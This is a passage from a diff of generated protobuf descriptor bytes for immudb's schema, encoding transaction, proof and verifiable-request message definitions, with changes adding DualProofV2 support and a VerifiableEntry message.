0x66, 0x12, 0x3f, 0x0a, + 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, + 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, + 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, + 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, + 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, + 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, + 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, + 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, + 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, + 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, + 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, + 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, + 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, + 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, + 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xe3, 0x01, 0x0a, 0x0b, 0x44, + 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, + 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, + 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, + 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x31, + 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, + 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, + 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, + 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, + 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, + 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, + 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, + 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, + 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, + 0x22, 0xa5, 0x01, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x56, 0x32, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, - 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, - 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xa5, 0x01, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, - 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, - 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, + 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, + 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, + 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, + 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, + 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, + 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, + 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, + 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, + 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, + 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xc8, 0x01, 0x0a, + 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, + 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 